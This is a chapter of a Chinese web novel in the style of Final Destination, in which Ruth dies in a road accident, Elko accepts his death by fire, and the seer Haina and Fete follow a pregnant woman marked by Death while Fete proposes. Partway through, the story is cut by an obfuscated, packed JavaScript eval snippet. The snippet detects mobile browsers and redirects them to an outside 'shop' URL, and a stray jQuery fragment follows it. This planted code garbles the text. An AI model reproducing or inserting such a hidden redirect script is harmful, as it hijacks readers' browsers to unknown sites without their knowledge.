小米娜每喊一声“爸爸”,海娜和费特的心就跟着往下沉一分。
暖融融的屋内,海娜望着眼前的幸福光景,渐渐出了神。
她想起少女时代,天是透亮的蓝,风里裹着栀子花香。那时她总穿一条白色碎花吊带裙,坐在教室外的台阶上晒太阳。
直到一片枯梧桐叶打着旋儿落在她手臂上,终结了所有晴朗。高中的海娜被同学堵在走廊尽头,他们指着她的背影骂“疯子”,那些眼神像淬了冰的刻刀,在她心上划出道道血痕。
“海娜。”
熟悉的声音拉回她的思绪,费特握住她冰凉颤抖的手——就像十七岁那年,他撞开人群,第一次握住她那只被碎玻璃划破、满是鲜血的手一样。
海娜猛地回神,迅速擦去眼角的湿意,强装镇定:“我没事。”
一旁的露丝看着丈夫埃尔可,想起他们为救埃尔可而受伤,心里满是感激,便拿起挎包:“我去市场买些新鲜食材,今晚做顿大餐。”
她刚踏出家门,一阵寒风卷着鸣声撞过来,“啪”地吹飞了她的针织帽。露丝下意识去抓,披散的长发糊住了眼睛,刺鼻的冷风呛得她连打了两个喷嚏。
“唰——!”
尖锐的刹车声刺破黄昏的寂静,紧接着是重物落地的闷响。空气里瞬间弥漫开浓烈的血腥味,死死勒住了屋里的人。
“妈妈!”小米娜最先反应过来,她挣开埃尔可的手,小短腿跑得飞快,直奔门外那片刺目的红。
埃尔可心头一紧,跟着冲出去,只看见露丝倒在冰冷的柏油路上,鲜血正从她身下缓缓蔓延,像一朵绝望绽开的花。
“露丝!!”海娜的尖叫卡在喉咙里,她捂住嘴,指缝间溢出压抑的呜咽,眼泪不受控制地砸在地板上。
费特扶住瘫软的海娜,却看见埃尔可正死死抓着自己的头发,原本极少的发量的发丝此刻脱落几缕,他对着灰暗的天空嘶吼:“露丝——!”
他曾惧怕死神,怕它带走自己,留下孤苦的妻女。可现在死神绕过了他,夺走了他最爱的人。
米娜跪在血泊边,小手徒劳地想捂住妈妈身上的伤口,哭声像一把钝刀,割得人耳朵发疼。海娜缓过神,一步步挪到门口,风灌进她的衣领,冷得她浑身发抖,眼泪却越流越凶。
“埃尔可……”她轻声唤着,声音里全是无力。
埃尔可转过头,那双布满红血丝的眼睛里,是和昨日的格薇如出一辙的绝望。他踉跄着蹲下身,紧紧抱住哭到抽噎的米娜,然后抬起头,看向费特的目光里带着恳求:“帮我照顾好米娜,我现在只剩她了。”
喜悦还没在屋里焐热,悲伤就猝不及防地砸了下来。
像一场来也匆匆的暴雨,又像一场去也匆匆的雨滴。
埃尔可最后一次用力抱紧米娜,朝费特伸出手。
费特的步伐沉重,每一步都踩在碎掉的心上,缓缓走了过去。
“嗯…现在你…”
埃尔可绝望落泪:“死神带走了我的露丝,我不想让他再带走我的女儿了。”
米娜摇了摇头:“不要,爸爸…”
费特眼角微红,他抬起的手又放下了:“埃尔可其实…我们还可以试试。”
埃尔可看向没有脉搏的露丝,呵了一声:“再试?算了,我不知道下次死神是以什么方式带走我了。”
修长的手指搭在了米娜的肩膀上,海娜低垂着眸,长长的睫毛挡住了她的神情:“埃尔可,你想…在生命的最后一刻做什么?”
警鸣声从身后传来,埃尔可站起身,他低声道:“我爱你,露丝。”
落叶纷飞,玫瑰花瓣被风卷起。埃尔可张开双臂,他面上带着从容的微笑。
“我从上帝那得来了本不属于我的时间,现在,他派死神来拿回去了。”
埃尔可在寒风中对着自己的女儿米娜笑了笑。
“爸爸,问心无愧。”
路灯纷纷为他亮起,火星滋滋滋作响。
海娜捂住了米娜的眼睛,费特为他做着做好的祷告。
风来了,它带着明亮的星火来了。埃尔可最后念叨着:
“露丝,我来了。”
或许是知道了这是死神的安排,人们便没有阻拦明火灼烧在埃尔可的身上。
他没有痛苦地大叫,没有露出贪生怕死的表情,他在享受生命。
哪怕,
只剩几秒钟。
在轻若游丝的叹息中,埃尔可化为烈日下的灰烬。
海娜闭上双眼,她回想起在预知中埃尔可那种恐惧的神情,与现在从容自然截然不同。
“永别了埃尔可,我会替你照顾好你的女儿,即便是我死了,我也会为她找个好的归宿。”海娜握着米娜的手缓缓离开了这令人悲伤的现场。
烈日灼心,费特却感觉到了一股寒意,他深吸一口气。
“海娜,下一个……是我吗?”
海娜拖着磨破的高跟鞋缓慢走着,她微微抬眼:“不,是…一个孕妇。”
新生儿打不破死神的顺序。
时间不久的两人将米娜送去了寄养家庭。海娜强颜欢笑与米娜告别:“拜拜~,姐姐…要走了,如果…有反转,姐姐就来接你。”
米娜眼中没了光,她呆呆点了点头:“嗯…”
费特双手插兜,他仰着头,面对着阳光。
“费特!”海娜踮起脚在他耳边喊着。
费特睁开一只眼:“你预知到了什么了吗?”
海娜皱紧眉头细想:“嗯…………”
他抬起手从她鼻梁上轻轻刮过,费特俯下身,嘴唇轻轻吻在了她的额头上。
“我希望…在轮到我的时候,你能陪我跳一支舞。”
海娜仰头轻轻吻在了他的下巴:“嗯。”
死神的镰刀挥下,海娜眼中浮现出了火车,烟头,打火机,还有啼哭声。
她意识到这是临死前的预知,海娜连忙掏出手机拨打了孕妇的电话,幸好她在查名单时多记了一下。
“嘿!我是海娜,我能问一下,你现在在哪吗?”海娜与孕妇并不太熟悉。
“海娜?哦!我知道了,是不是到我了?我听说了格薇和爱丽丝的事情了,刚刚…埃尔可也不在了?”听她的语气好像并不害怕。
粗犷的声音里充满了自由自在的轻松。
“没事,海娜,我就不浪费你时间了,我也懒得去烦劳这些了,唉,现在我想去老家,我想在我死之前去见见家乡的日落。”
海娜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415003|200743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还想多说什么,却被电话那头的女人打断:“嘿,海娜,我知道你是在担心我。可,我不想像爱丽丝和格薇一样悲伤的死去。”
电话被挂断。
女人已经下定决心。
暖风拂过她的脸颊,她坐上了开往天堂的列车。
疲了,乏了,也想好了。
费特撅着嘴,阳光透过树梢恰巧落在了他高大的身材上:“托马斯带走了我们的保护对象。”
海娜怀疑是自己耳背了:“你说什么,什么托马…丝?”
费特侧着脸,挑了挑眉:“对,托马斯,她打算坐着托马斯回老家。”
海娜无语瞥了一眼:“托马斯?费特你这个时候还开玩笑。”
费特似乎有预感:“下一个,是不是到我了?”
海娜神情柔和下来,握紧双拳,她眼中含泪摇头:“不,费特,不要。”
死神化为一缕夏风吹起了海娜的长发。它暂时收起镰刀,准备去看他们轰轰烈烈的爱情。
费特单手挑起了海娜的下巴,试探性地低垂着头,几次想吻却又收回。
“海娜,我想了想,我觉得我们还是得去看看她。”
海娜先是一惊,随即露出灿烂的微笑:“嗯,托马斯应该还没走远。”
火车已开远了好一会儿,时间也流逝了一会儿。
他对视着她的双眼,双方久久不能移开。
湛蓝的双目将眼底中毫无保留的爱意传达给了深棕色的双目。
费特怕再不表达就没时间了,他从裤包里拿出来早已准备的戒指。他单膝下跪,厚脸皮上第一次泛起明显的绯红。
费特有些结巴:“海娜.伦顿,你愿意嫁给我吗?”
海娜呼吸急促,心脏砰砰跳动,微风拂过深蓝色的长裙,她伸出颤抖的手。
“我,愿意…”
埃尔可最后的释怀让费特明白了,爱要趁早表达。
费特为海娜戴上戒指,风如同鼓掌声一样再次拂过。
“如果我们再一次失败了,我希望你不要为我落泪。”
按照顺序,下一个是费特。
海娜忍住快要落下的眼泪,踮起脚,捧着费特的脸庞吻了上去。
干裂的嘴唇第一次触碰到了充满爱意红润的嘴唇时,他竟有些不知所措。费特在亲吻中,落了泪。
他不明白,为什么要最幸福的时候说再见。
海娜松开了手,她低垂着头,像下定了某种决心。
“我们去找她。”
费特宠溺地笑了笑:“嗯。”
他知道不会成功,也知道这样会打扰到别人的休息。
但,就当是为了海娜,为了自己。
去乡下的路程不远,一闭眼,一睁眼的功夫就到了。
孕妇此刻正坐在长椅上,为来不及出生的宝宝讲述着一个故事。
一片枯叶轻轻落在了孕妇身旁,就像死神卸下恐怖的伪装,静静地坐在了女人孕妇身旁。
死神有时也会为浪漫的故事停下脚步。
孕妇轻抚着肚子,嘴唇一张一合。
故事随之开始。
***
人们常说人生还有很长,我却感觉很短,短到转瞬即逝。